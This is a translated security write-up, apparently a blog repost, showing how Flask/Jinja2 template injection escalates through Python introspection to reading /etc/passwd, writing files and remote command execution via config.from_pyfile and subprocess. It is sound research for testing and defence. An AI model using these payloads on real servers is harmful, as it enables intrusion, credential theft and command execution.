天天看點

探索Flask/Jinja2中的服務端模版注入(二)

在探索Flask/Jinja2中的服務端模版注入Part1中,我最初的目标是找到檔案的路徑或者說是進行檔案系統通路。之前還無法達成這些目标,但是感謝朋友們在之前文章中的回報,現在我已經能夠實作這些目标了。本文就來講講進一步研究獲得的結果。

神助攻

對于之前的文章,感謝Nicolas G 對我們的幫助

探索Flask/Jinja2中的服務端模版注入(二)

如果你有玩玩這個payload,你很快就會清楚這是行不通的。這裡有有幾個比較合理的解釋,之後我會簡短給大家說說。關鍵是這個payload使用了多個之前我們忽略了但非常重要的内省實用程式:

__mro__

以及

__subclasses__

屬性

免噴申明:以下的解釋可能會存在些許生澀,我實在沒興趣把自己搞的非常精通啥的,就這水準了。大多數時候我在解決架構/語言中存在的模糊不清的部分,我都會嘗試看是否能夠帶給我預期的效果,但我一直不知道會産生這種效果的緣由。我依舊在學習這些屬性背後隐藏着的“為什麼”,但我至少想将我知道的分享給大家!

__mro__

中的MRO(Method Resolution Order)代表着解析方法調用的順序,可以看看Python文檔中的介紹。它是每個對象元類的一個隐藏屬性,當進行内省時會忽略

dir

輸出(see Objects/object.c at line 1812)

__subclasses__

屬性在這裡作為一種方法被定義為,對每個new-style class“為它的直接子類維持一個弱引用清單”,之後“傳回一個包含所有存活引用的清單”。

簡單來說,

__mro__

允許我們在目前Python環境中追溯對象繼承樹,之後

__subclasses__

又讓我們回到原點。從一個new-style object開始,例如

str

類型。使用

__mro__

我們可以從繼承樹爬到根對象類,之後在Python環境中使用

__subclasses__

爬向每一個new-style object。ok,這讓我們能夠通路加載到目前Python環境下的所有類,那麼我們該怎麼利用這一新發現愉快的玩耍呢?

利用

這裡我們還要考慮一些東西,Python環境可能會包括:

源于Flask應用的東西
目标應用自定義的一些東西
           

因為我們是想獲得一個通用exploit,是以測試環境越接近原生Flask越好。越向應用中添加庫和第三方子產品,那我們能獲得通用exploit的機率就越低。我們之前進行概念驗證時使用的那個應用就是一個非常不錯的選擇。

為了挖掘出一枚exploit向量,要求不修改目标源代碼。在前一篇文章中,為了進行内省,我們向存在漏洞的應用中添加了一些函數,但現在這些統統都不需要了。

首先我們要做的第一件事便是選擇一個new-style object用于通路

object

基類。可以簡單的使用

''

,一個空字元串,

str

對象類型。之後我們可以使用

__mro__

屬性通路對象的繼承類。将

{{ ''.__class__.__mro__ }}

作為payload注入到存在SSTI漏洞的頁面中

探索Flask/Jinja2中的服務端模版注入(二)

我們可以看到之前讨論過的元組現在正向我們回報,由于我們想追溯根對象類,我們利用第二條索引選擇

object

類類型。目前我們正位于根對象,可以利用

__subclasses__

屬性dump所有存在于應用程式中的類,将

{{ ''.__class__.__mro__[2].__subclasses__() }}

注入到SSTI漏洞中。

探索Flask/Jinja2中的服務端模版注入(二)

如你所看到的,這裡面的資訊太多了。在我使用的這個目标App中,這裡有572個可通路類。這事情變得有些棘手了,這也是為什麼上面推特中提到的payload行不通的原因了。記住,并不是每個應用的Python環境都差不多。我們的目标是找到一個能夠讓我們通路檔案或者作業系統的東西。可能不那麼容易在一個應用中找到類似

subprocess.Popen

子產品進而獲得一枚exploit,例如受前文Twitter上附有的那個payload影響的應用。但是從我的發現來看,沒有什麼能夠比得上原生Flask。幸好,在原生Flask下我們也能夠實作類似的效果。

如果你梳理之前payload的輸出資訊,你應該可以找到

<type 'file'>

類,它是檔案系統通路的關鍵。雖然

open

是建立檔案對象的内置函數,

file

類也是有能力列舉檔案對象的,如果我們能夠列舉一個檔案對象,之後我們可以使用類似

read

方法來提取内容。為了證明這一點,找到

file

類的索引并注入

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}

,其中的

40

是環境中

<type 'file'>

類的索引。

探索Flask/Jinja2中的服務端模版注入(二)

主觀上我們已經證明了在Flask/Jinja2架構下利用SSTI是能夠讀取檔案的,我們廢了這麼多時間難道隻是這樣?今天我的目标是遠端代碼/指令執行!

在前一篇文章中我引用了

config

對象的幾個方法将對象加載到Flask配置環境中。其中一種方法便是

from_pyfile

,以下為

from_pyfile

方法的代碼(

flask/config.py

)

def from_pyfile(self, filename, silent=False):
        """Updates the values in the config from a Python file.  This function
        behaves as if the file was imported as module with the
        :meth:`from_object` function.

        :param filename: the filename of the config.  This can either be an
                         absolute filename or a filename relative to the
                         root path.
        :param silent: set to `True` if you want silent failure for missing
                       files.

        .. versionadded:: 0.7
           `silent` parameter.
        """
        filename = os.path.join(self.root_path, filename)
        d = imp.new_module('config')
        d.__file__ = filename
        try:
            with open(filename) as config_file:
                exec(compile(config_file.read(), filename, 'exec'), d.__dict__)
        except IOError as e:
            if silent and e.errno in (errno.ENOENT, errno.EISDIR):
                return False
            e.strerror = 'Unable to load configuration file (%s)' % e.strerror
            raise
        self.from_object(d)
        return True
           

這裡有幾個非常有趣的東西,最明顯的是使用一個檔案路徑作為

compile

函數的參數。如果我們能夠向作業系統寫入檔案,那麼就可以大顯身手咯。正如我們剛才讨論的,我們能夠做到!利用前面提及的

file

類不僅可以讀取檔案還可以向目标伺服器寫入檔案。之後我們通過SSTI漏洞調用

from_pyfile

方法編譯檔案并執行其中内容,這是一個2階段攻擊。首先向SSTI漏洞注入類似

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg', 'w').write('<malicious code here>'') }}

。之後通過注入

{{ config.from_pyfile('/tmp/owned.cfg') }}

觸發編譯程序,之後就會執行編譯後的代碼。遠端代碼執行完成!

接下來将戰果擴大,雖然代碼在運作就非常棒了,但每個代碼塊都必須經過一個多步驟程序。讓我們利用

from_pyfile

方法為其預設用途,并向

config

對象添加一些有用的玩意。向SSTI漏洞注入

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}

。這将向遠端伺服器寫入一個檔案,當編譯完成為

subprocess

子產品引入

check_output

方法,并将其設定指向變量

RUNCMD

。如果你回想一下上一篇文章,你會将其添加到Flask 

config

對象,用大寫字元将其看作為一個屬性。

探索Flask/Jinja2中的服務端模版注入(二)

注入

{{ config.from_pyfile('/tmp/owned.cfg') }}

,向

config

對象添加一個新項。注意以下兩張圖檔的不同之處!

探索Flask/Jinja2中的服務端模版注入(二)
探索Flask/Jinja2中的服務端模版注入(二)

現在我們可以調用新的配置項在遠端伺服器上運作指令了,通過向SSTI漏洞注入

{{ config['RUNCMD']('/usr/bin/id',shell=True) }}

即可證明!

探索Flask/Jinja2中的服務端模版注入(二)

遠端指令執行完成!

總結

我們不必再去糾結如何逃避Flask/Jinja2架構的模版沙盒,現在就可以得出結論:在Flask/Jinja2環境下SSTI漏洞帶來的影響實實在在的存在!

繼續閱讀